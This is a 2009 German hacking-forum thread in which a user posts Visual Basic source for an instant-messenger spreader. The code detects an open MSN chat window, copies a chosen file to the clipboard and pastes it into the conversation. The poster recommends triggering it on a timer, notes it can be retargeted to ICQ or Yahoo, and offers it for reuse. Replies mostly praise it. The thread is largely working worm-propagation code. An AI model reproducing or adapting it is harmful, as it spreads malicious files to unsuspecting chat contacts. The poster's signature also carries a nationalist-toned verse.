PHP Forum - Coding Board
Juli 19, 2018, 10:14:32 *
Willkommen Gast. Bitte einloggen oder registrieren.

Einloggen mit Benutzername, Passwort und Sitzungslänge
News:
 
   Übersicht   Hilfe Suche Einloggen Registrieren  
Seiten: [1]
  Drucken  
Autor Thema: [Source] MSN Spreading Example by Slayer616 {ALL VERSIONS}  (Gelesen 357 mal)
0 Mitglieder und 1 Gast betrachten dieses Thema.
Slayer616
Entwickler Team
Spender
Moderator
Hat das Battle gewonnen
Sr. Member
****
Beiträge: 426


Profil anzeigen E-Mail
« am: Februar 23, 2009, 01:00:53 »

This is a small Example how to Spread Files over MSN easily. It should work with all MSN Versions.
You CAN modify it to a ICQ/Yahoo Spreader in a few Seconds (Change the Classname)!

Don't forget to Credit if you use it!

Have phun with it...


[Kein Bock auf Deutsch zu übersetzen...]

Zitat
'--------------------------------------------------------------------------------------
'--------------------MSN SPREADING EXAMPLE by Slayer616--------------------
'--------------------------------------------------------------------------------------
'-------------------visit us @Scene-Coderz.com / HackHound.org--------------
'Author: Slayer616
'Credits:   D3x (GetForegroundWindow)
'              Tim Misset (Copy File to Clipboard)
'Special Thanks: Syntaxx_Err, omc, steve, Paran0id, Syler, Zacherl, Scott
'                        Who!, -silent-, Krippler, carb0n, whole HH staff & VIP
'                        whole SC-Team and other friends an supporters
'--------------------------------------------------------------------------------------
'Example:
'Use a Timer with a big Intervall
'on Tick set this: Call Spread
'Change the FilePath to your FilePath
'Have phun with it!
'--------------------------------------------------------------------------------------
'----------------DON'T FORGET TO CREDIT IF YOU USE THIS SAMPLE!-------
'-------------------------------------------------------------------------------------
Private Declare Sub Sleep Lib "kernel32" (ByVal lngMilliseconds As Long)
Public Type POINTAPI
        x As Long
        y As Long
End Type
Public Declare Function GetForegroundWindow Lib "user32" () As Long
Public Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal Hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
Private Declare Function DragQueryFile Lib "shell32.dll" Alias "DragQueryFileA" (ByVal hDrop As Long, ByVal UINT As Long, ByVal lpStr As String, ByVal ch As Long) As Long
Private Declare Function GlobalAlloc Lib "kernel32" (ByVal wFlags As Long, ByVal dwBytes As Long) As Long
Private Declare Function GlobalLock Lib "kernel32" (ByVal hMem As Long) As Long
Private Declare Function GlobalUnlock Lib "kernel32" (ByVal hMem As Long) As Long
Private Declare Sub CopyMem Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Declare Function EmptyClipboard Lib "user32" () As Long
Private Declare Function OpenClipboard Lib "user32" (ByVal Hwnd As Long) As Long
Private Declare Function CloseClipboard Lib "user32" () As Long
Private Declare Function SetClipboardData Lib "user32" (ByVal wFormat As Long, ByVal hMem As Long) As Long
Private Declare Function GetClipboardData Lib "user32" (ByVal wFormat As Long) As Long
Private Declare Function IsClipboardFormatAvailable Lib "user32" (ByVal wFormat As Long) As Long
Private Const GHND = &H42
Private Const CF_HDROP = &HF
Private Const GET_DROP_COUNT = &HFFFFFFFF
Private Type DROPFILES
   pFiles As Long
   pt As POINTAPI
   fNC As Long
   fWide As Long
End Type
Dim iCounter As Integer
Dim DF As DROPFILES
Dim strFiles As String
Dim hGlobal As Long
Dim lpGlobal As Long
Dim hDrop As Long
Dim lFiles As Long
Dim strFile As String
Public Function Spread(PathToFile As String)
    Dim cClass As String
    Dim cWind As Long
    cClass = Space(255)
    cWind = GetForegroundWindow
    cWind = GetClassName(cWind, cClass, 255)
    cClass = Left(cClass, cWind)
    If Trim(cClass) = "IMWindowClass" Then
        Sleep 500
        CopyFileToMem PathToFile
        PastFile
        CopyFileToMem PathToFile
        PastFile
        Call SendKeys("^v")
    End If
End Function
Function CopyFileToMem(PathToTehFileS As String)
If OpenClipboard(frmMain.Hwnd) = 0 Then
  CloseClipboard
 Exit Function
End If
EmptyClipboard
strFiles = PathToTehFileS & vbNullChar
hGlobal = GlobalAlloc(GHND, Len(DF) + Len(strFiles))
If hGlobal Then
  lpGlobal = GlobalLock(hGlobal)
  DF.pFiles = Len(DF)
  Call CopyMem(ByVal lpGlobal, DF, Len(DF))
  Call CopyMem(ByVal (lpGlobal + Len(DF)), ByVal strFiles, Len(strFiles))
  Call GlobalUnlock(hGlobal)
  SetClipboardData CF_HDROP, hGlobal
End If
CloseClipboard
End Function
Function PastFile()
  If IsClipboardFormatAvailable(CF_HDROP) = 0 Then Exit Function
  If OpenClipboard(frmMain.Hwnd) = 0 Then
    CloseClipboard
    Exit Function
  End If
  hDrop = GetClipboardData(CF_HDROP)
  lFiles = DragQueryFile(hDrop, -1&, "", 0)
  strFile = Space(260)
  For iCounter = 0 To lFiles - 1
    Call DragQueryFile(hDrop, iCounter, strFile, Len(strFile))
  Next
  CloseClipboard
End Function
[\QUOTE]
Gespeichert




Du sagst, du spürst die Ohnmacht, denn der Feind ist ach so stark
Und er will dich niederhalten mit Geschrei durch Bein und Mark
Mit Verboten und Zensur kann er zwar den Kampf erschweren
Doch niemals wird ein Richterspruch den freien Geist bekehren.

Fürchte lieber Deutschlands Untergang als die Reden der Vasallen
Derer, die der Lüge dienen, denn schon bald werden sie fallen.
kounamouta
Newbie
*
Beiträge: 1


Profil anzeigen E-Mail
« Antworten #1 am: Februar 25, 2009, 09:22:06 »

very nice example
Gespeichert
whit3
Sr. Member
****
Beiträge: 324


892640
Profil anzeigen WWW E-Mail
« Antworten #2 am: März 31, 2009, 12:20:32 »

slayer so:

Call Spread("C:\windows\system32\") oder so Call Spread("C:\windows\system32")
Gespeichert

Die "Szene"<
mssl
Newbie
*
Beiträge: 19


Profil anzeigen E-Mail
« Antworten #3 am: März 31, 2009, 02:20:02 »

sorry für OT, aber sehen alle VB Sources so eklig aus? also ohne tabulatoren?
Gespeichert
CorVu5
Newbie
*
Beiträge: 32



Profil anzeigen E-Mail
« Antworten #4 am: März 31, 2009, 02:45:58 »

hätte er die Tags ordentlich gesetzt, wären ihm die Tabulatoren erhalten geblieben Zwinkernd
Gespeichert
Seiten: [1]
  Drucken  
 
Gehe zu:  

Powered by MySQL Powered by PHP Powered by SMF 1.1.21 | SMF © 2006-2009, Simple Machines | New Look by Nolt Prüfe XHTML 1.0 Prüfe CSS